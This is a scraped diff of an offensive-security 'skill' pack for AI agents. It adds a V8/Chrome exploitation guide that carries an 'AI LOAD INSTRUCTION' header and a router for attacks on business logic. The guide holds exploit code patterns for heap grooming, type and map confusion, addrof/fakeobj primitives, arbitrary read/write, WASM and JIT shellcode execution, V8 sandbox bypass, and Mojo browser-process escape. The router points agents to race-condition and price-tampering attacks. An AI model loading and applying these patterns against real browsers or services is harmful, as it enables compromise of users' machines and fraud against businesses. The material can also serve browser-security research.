├── Code execution method
|
|
326
|
+
│ ├── WASM RWX page available? → write shellcode, call WASM func
|
|
327
|
+
│ ├── JIT code writable? → overwrite JIT code
|
|
328
|
+
│ └── ROP needed? → corrupt stack or return address
|
|
329
|
+
│
|
|
330
|
+
└── Full browser exploit chain
|
|
331
|
+
├── Stage 1: V8 bug → renderer RCE
|
|
332
|
+
├── Stage 2: Mojo IPC bug → browser process compromise
|
|
333
|
+
└── Stage 3: OS-level escalation (if needed)
|
|
334
|
+
```
|
|
@@ -0,0 +1,288 @@
|
|
|
1
|
+
# V8 Exploitation Patterns — Heap Layout, GC Interaction, Sandbox Bypass
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this for detailed V8 exploitation code patterns, heap layout manipulation, GC interaction tricks, object map confusion, and V8 sandbox bypass techniques. Assumes [SKILL.md](./SKILL.md) is loaded for V8 architecture and primitive construction overview.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. HELPER UTILITIES
|
|
8
|
+
|
|
9
|
+
Standard utility functions used in almost every V8 exploit:
|
|
10
|
+
|
|
11
|
+
```javascript
|
|
12
|
+
let buf = new ArrayBuffer(8);
|
|
13
|
+
let f64 = new Float64Array(buf);
|
|
14
|
+
let u32 = new Uint32Array(buf);
|
|
15
|
+
let u64 = new BigUint64Array(buf);
|
|
16
|
+
|
|
17
|
+
function ftoi(f) { f64[0] = f; return u64[0]; }
|
|
18
|
+
function itof(i) { u64[0] = i; return f64[0]; }
|
|
19
|
+
function lo(i) { u64[0] = i; return u32[0]; }
|
|
20
|
+
function hi(i) { u64[0] = i; return u32[1]; }
|
|
21
|
+
|
|
22
|
+
function hex(i) { return '0x' + i.toString(16); }
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
### V8 Intrinsics (d8 --allow-natives-syntax)
|
|
26
|
+
|
|
27
|
+
```javascript
|
|
28
|
+
%DebugPrint(obj); // Print internal object representation
|
|
29
|
+
%OptimizeFunctionOnNextCall(func); // Force TurboFan optimization
|
|
30
|
+
%PrepareFunctionForOptimization(func); // Mark for optimization
|
|
31
|
+
%SystemBreak(); // Trigger INT3 for GDB
|
|
32
|
+
%CollectGarbage('major'); // Force GC
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## 2. HEAP LAYOUT MANIPULATION
|
|
38
|
+
|
|
39
|
+
### Allocation Order in Young Generation
|
|
40
|
+
|
|
41
|
+
V8's young generation allocates objects sequentially (bump pointer). Control allocation order to ensure adjacency:
|
|
42
|
+
|
|
43
|
+
```javascript
|
|
44
|
+
// Allocate in order → objects are adjacent in memory
|
|
45
|
+
let oob_arr = [1.1, 2.2, 3.3]; // Float64 array (target for OOB)
|
|
46
|
+
let victim = [{}]; // Object array (corrupt this)
|
|
47
|
+
let rw_buf = new ArrayBuffer(0x100); // ArrayBuffer (steal backing_store)
|
|
48
|
+
|
|
49
|
+
// oob_arr elements → victim header → rw_buf header are adjacent
|
|
50
|
+
// OOB write from oob_arr can corrupt victim's map → type confusion
|
|
51
|
+
// OOB write to rw_buf can corrupt backing_store → arbitrary R/W
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### Heap Spray for Predictable Layout
|
|
55
|
+
|
|
56
|
+
```javascript
|
|
57
|
+
let spray = [];
|
|
58
|
+
for (let i = 0; i < 1000; i++) {
|
|
59
|
+
spray.push(new ArrayBuffer(0x100));
|
|
60
|
+
}
|
|
61
|
+
// Many ArrayBuffers at sequential addresses
|
|
62
|
+
// Known relative offsets between them
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## 3. ELEMENTS KINDS CONFUSION
|
|
68
|
+
|
|
69
|
+
V8 arrays have internal "elements kind" tracked in their Map:
|
|
70
|
+
|
|
71
|
+
| Elements Kind | Storage | Interpretation |
|
|
72
|
+
|---|---|---|
|
|
73
|
+
| `PACKED_SMI_ELEMENTS` | Tagged SMI | Small integers (31-bit) |
|
|
74
|
+
| `PACKED_DOUBLE_ELEMENTS` | Unboxed float64 | Raw 64-bit doubles |
|
|
75
|
+
| `PACKED_ELEMENTS` | Tagged pointers | Object references |
|
|
76
|
+
| `HOLEY_*` variants | Same but with holes | Sparse arrays |
|
|
77
|
+
|
|
78
|
+
### Type Confusion: Double ↔ Object
|
|
79
|
+
|
|
80
|
+
```javascript
|
|
81
|
+
// If bug causes array with PACKED_ELEMENTS (object refs) to be
|
|
82
|
+
// treated as PACKED_DOUBLE_ELEMENTS (raw floats):
|
|
83
|
+
// - Reading object element as float → leaks raw pointer (addrof)
|
|
84
|
+
// - Writing float to object element → creates fake pointer (fakeobj)
|
|
85
|
+
|
|
86
|
+
// Transition chain (normally one-way):
|
|
87
|
+
// SMI → DOUBLE → ELEMENTS (never goes backward)
|
|
88
|
+
// Bug: forces wrong elements kind on optimized code path
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## 4. MAP CONFUSION EXPLOITATION
|
|
94
|
+
|
|
95
|
+
### Corrupting Object Map
|
|
96
|
+
|
|
97
|
+
```javascript
|
|
98
|
+
// Object's first field is its Map pointer (compressed, 32-bit)
|
|
99
|
+
// Corrupting the map changes how V8 interprets the entire object
|
|
100
|
+
|
|
101
|
+
// Example: change a regular array's map to a different array type
|
|
102
|
+
// Before: Map says PACKED_SMI_ELEMENTS, length = 4
|
|
103
|
+
// After: Map says PACKED_DOUBLE_ELEMENTS, length = 0x1000 (if map has different length offset)
|
|
104
|
+
// Result: Unconstrained OOB read/write through the "array"
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
### Fake Map Construction
|
|
108
|
+
|
|
109
|
+
```javascript
|
|
110
|
+
// To create a believable fake object, need a valid Map at the start
|
|
111
|
+
// Approach 1: Find existing Map address via addrof, reuse it
|
|
112
|
+
let target_map_addr = addrof(target_array) - 0x10n; // approximate
|
|
113
|
+
// Read map from memory via OOB, copy it to controlled location
|
|
114
|
+
|
|
115
|
+
// Approach 2: Spray arrays of same type to have many identical Maps
|
|
116
|
+
let maps_spray = [];
|
|
117
|
+
for (let i = 0; i < 100; i++) {
|
|
118
|
+
maps_spray.push([1.1]); // all share same Map in V8's map space
|
|
119
|
+
}
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## 5. GC INTERACTION AND SURVIVAL
|
|
125
|
+
|
|
126
|
+
### GC-Safe Exploitation
|
|
127
|
+
|
|
128
|
+
V8's GC moves objects (compacting GC). Exploits must account for:
|
|
129
|
+
|
|
130
|
+
| Issue | Mitigation |
|
|
131
|
+
|---|---|
|
|
132
|
+
| Object moves during GC | Pin objects in old generation (allocate enough to promote) |
|
|
133
|
+
| Fake object freed by GC | Ensure fake objects aren't in GC-tracked regions |
|
|
134
|
+
| Write barriers corrupt state | Avoid triggering write barriers on corrupted pointers |
|
|
135
|
+
| Weak references cleared | Don't rely on weak refs for exploit state |
|
|
136
|
+
|
|
137
|
+
### Promoting to Old Space
|
|
138
|
+
|
|
139
|
+
```javascript
|
|
140
|
+
// Allocate object, trigger minor GC to promote to old space (stable address)
|
|
141
|
+
let obj = {a: 1, b: 2};
|
|
142
|
+
// Fill young generation to trigger scavenge
|
|
143
|
+
for (let i = 0; i < 100000; i++) new Array(100);
|
|
144
|
+
// obj is now in old space with stable address
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
### ArrayBuffer is GC-Friendly
|
|
148
|
+
|
|
149
|
+
`ArrayBuffer`'s backing store is external memory (not managed by V8 GC). Corrupting its pointer won't be affected by GC moves.
|
|
150
|
+
|
|
151
|
+
---
|
|
152
|
+
|
|
153
|
+
## 6. COMMON EXPLOITATION CHAINS
|
|
154
|
+
|
|
155
|
+
### Chain 1: Typer Bug → OOB → addrof/fakeobj → R/W → WASM Shellcode
|
|
156
|
+
|
|
157
|
+
```javascript
|
|
158
|
+
// Step 1: Trigger typer bug for OOB array access
|
|
159
|
+
function trigger() {
|
|
160
|
+
let arr = new Array(1);
|
|
161
|
+
arr[0] = 1.1;
|
|
162
|
+
// ... bug-specific code that makes TurboFan believe index is in bounds ...
|
|
163
|
+
let oob_val = arr[oob_index]; // OOB read
|
|
164
|
+
arr[oob_index] = corrupt_val; // OOB write
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
// Step 2: Use OOB to corrupt adjacent array → addrof/fakeobj primitives
|
|
168
|
+
// Step 3: Build arbitrary R/W (corrupt ArrayBuffer backing_store)
|
|
169
|
+
// Step 4: Find WASM instance, overwrite JIT code page with shellcode
|
|
170
|
+
// Step 5: Call WASM function → shellcode executes
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
### Chain 2: Type Confusion → Overlapping Arrays → Length Corruption
|
|
174
|
+
|
|
175
|
+
```javascript
|
|
176
|
+
// Step 1: Confuse element kind (double↔object) on array
|
|
177
|
+
// Step 2: Through confusion, read adjacent array's length field
|
|
178
|
+
// Step 3: Write a huge value as the length → array now has OOB access
|
|
179
|
+
// Step 4: Use giant array for full heap R/W
|
|
180
|
+
// Step 5: Shellcode via WASM or stack ROP
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## 7. V8 SANDBOX BYPASS TECHNIQUES
|
|
186
|
+
|
|
187
|
+
### External Pointer Table (EPT)
|
|
188
|
+
|
|
189
|
+
V8 sandbox stores external (out-of-cage) pointers in an External Pointer Table. Each entry:
|
|
190
|
+
|
|
191
|
+
```
|
|
192
|
+
EPT[index] = (raw_pointer ^ tag) | type_bits
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
Corruption approach:
|
|
196
|
+
1. Find EPT entry for a known external object (e.g., ArrayBuffer backing store of external memory)
|
|
197
|
+
2. Overwrite the entry to point to target address
|
|
198
|
+
3. Access through the original JS object → reads/writes outside cage
|
|
199
|
+
|
|
200
|
+
### Corrupting WASM Jump Table
|
|
201
|
+
|
|
202
|
+
```javascript
|
|
203
|
+
// WASM instance has jump_table_start pointing to RWX code
|
|
204
|
+
// Even with sandbox, WASM code pointers may be indirect
|
|
205
|
+
// Find WASM instance in cage → follow pointer chain to code
|
|
206
|
+
// Overwrite code entry in jump table with shellcode address
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
### Sandbox Hole via Type Confusion
|
|
210
|
+
|
|
211
|
+
Some V8 object types store both sandboxed and unsandboxed pointers. A type confusion that changes how a field is interpreted (sandboxed offset vs raw pointer) can escape the cage.
|
|
212
|
+
|
|
213
|
+
---
|
|
214
|
+
|
|
215
|
+
## 8. JIT SPRAY TECHNIQUE
|
|
216
|
+
|
|
217
|
+
Plant controlled immediate values in JIT-compiled code:
|
|
218
|
+
|
|
219
|
+
```javascript
|
|
220
|
+
// Float constants embed as 64-bit immediates in machine code
|
|
221
|
+
function spray() {
|
|
222
|
+
let x = 1.4501798452584495e-277; // 0x90909090_90909090 (NOP sled)
|
|
223
|
+
// ... repeat with shellcode-encoding floats ...
|
|
224
|
+
}
|
|
225
|
+
// JIT compiles spray() → movabs rax, 0x9090909090909090 in code page
|
|
226
|
+
// Jump into the middle of the immediate → executes as NOP sled
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
**Modern mitigations**: Constant blinding (XOR constants with random key), removing RWX pages, and V8 sandbox reduce JIT spray effectiveness.
|
|
230
|
+
|
|
231
|
+
---
|
|
232
|
+
|
|
233
|
+
## 9. BROWSER-SPECIFIC CONSIDERATIONS
|
|
234
|
+
|
|
235
|
+
### Chrome Process Model
|
|
236
|
+
|
|
237
|
+
```
|
|
238
|
+
Browser Process (privileged)
|
|
239
|
+
├── Renderer Process 1 (sandboxed) ← V8 exploit here
|
|
240
|
+
├── Renderer Process 2 (sandboxed)
|
|
241
|
+
├── GPU Process
|
|
242
|
+
├── Network Process
|
|
243
|
+
└── Utility Processes
|
|
244
|
+
```
|
|
245
|
+
|
|
246
|
+
### Renderer → Browser Escape via Mojo
|
|
247
|
+
|
|
248
|
+
```
|
|
249
|
+
Renderer compromise → find vulnerable Mojo interface →
|
|
250
|
+
craft malicious IPC message → trigger bug in browser process →
|
|
251
|
+
code execution in browser (unsandboxed)
|
|
252
|
+
```
|
|
253
|
+
|
|
254
|
+
Key Mojo targets: `BlobRegistry`, `FileSystemManager`, `NetworkService`, and other privileged interfaces.
|
|
255
|
+
|
|
256
|
+
### Memory Layout in Chrome
|
|
257
|
+
|
|
258
|
+
| Region | Contents |
|
|
259
|
+
|---|---|
|
|
260
|
+
| V8 Cage (4GB) | JS heap, WASM memory, ArrayBuffer stores |
|
|
261
|
+
| PartitionAlloc | Blink DOM objects, C++ objects |
|
|
262
|
+
| System malloc | Chrome C++ allocations outside PartitionAlloc |
|
|
263
|
+
| mmap regions | Shared memory, file mappings |
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
## 10. DEBUGGING AND ANALYSIS
|
|
268
|
+
|
|
269
|
+
```bash
|
|
270
|
+
# Build d8 for debugging
|
|
271
|
+
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false target_cpu="x64"'
|
|
272
|
+
ninja -C out/debug d8
|
|
273
|
+
|
|
274
|
+
# Run with debugging features
|
|
275
|
+
./out/debug/d8 --allow-natives-syntax --trace-turbo --print-opt-code exploit.js
|
|
276
|
+
|
|
277
|
+
# GDB with V8
|
|
278
|
+
gdb ./out/debug/d8
|
|
279
|
+
b v8::internal::Runtime_DebugPrint # break on %DebugPrint
|
|
280
|
+
r --allow-natives-syntax exploit.js
|
|
281
|
+
|
|
282
|
+
# Turbolizer (web UI for TurboFan IR)
|
|
283
|
+
# Open chrome://tracing, load turbo-*.json from --trace-turbo
|
|
284
|
+
|
|
285
|
+
# Useful GDB commands for V8
|
|
286
|
+
job <addr> # V8 GDB helper: print V8 object at address
|
|
287
|
+
jst # Print V8 JavaScript stack trace
|
|
288
|
+
```
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: business-logic-vuln
|
|
3
|
+
description: >-
|
|
4
|
+
Entry P1 category router for business logic testing. Use when workflow abuse,
|
|
5
|
+
race conditions, pricing flaws, or multi-step state attacks matter more than
|
|
6
|
+
parser-level input injection.gated: true
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Business Logic Router
|
|
10
|
+
|
|
11
|
+
This is the routing entry point for business-logic and state-machine issues.
|
|
12
|
+
|
|
13
|
+
## When to Use
|
|
14
|
+
|
|
15
|
+
- The target involves coupons, inventory, payment, approvals, quotas, invites, trials, or state transitions
|
|
16
|
+
- The issue is not parser-level; it is about when checks happen and which business conditions are checked
|
|
17
|
+
- You suspect race conditions, workflow bypass, price tampering, negative values, stacked discounts, or multi-step flaws
|
|
18
|
+
|
|
19
|
+
## Skill Map
|
|
20
|
+
|
|
21
|
+
- [Business Logic Vulnerabilities](../business-logic-vulnerabilities/SKILL.md)
|
|
22
|
+
|
|
23
|
+
## Recommended Flow
|
|
24
|
+
|
|
25
|
+
1. First map key business states and one-time actions
|
|
26
|
+
2. Then check for check-then-act windows, sequence dependencies, or missing cross-step authorization
|
|
27
|
+
3. If the chain depends on APIs, uploads, or object permissions, return to the corresponding router skill to complete the path
|
|
28
|
+
|
|
29
|
+
## Related Categories
|
|
30
|
+
|
|
31
|
+
- [api-sec](../api-sec/SKILL.md)
|
|
32
|
+
- [auth-sec](../auth-sec/SKILL.md)
|
|
33
|
+
- [file-access-vuln](../file-access-vuln/SKILL.md)
|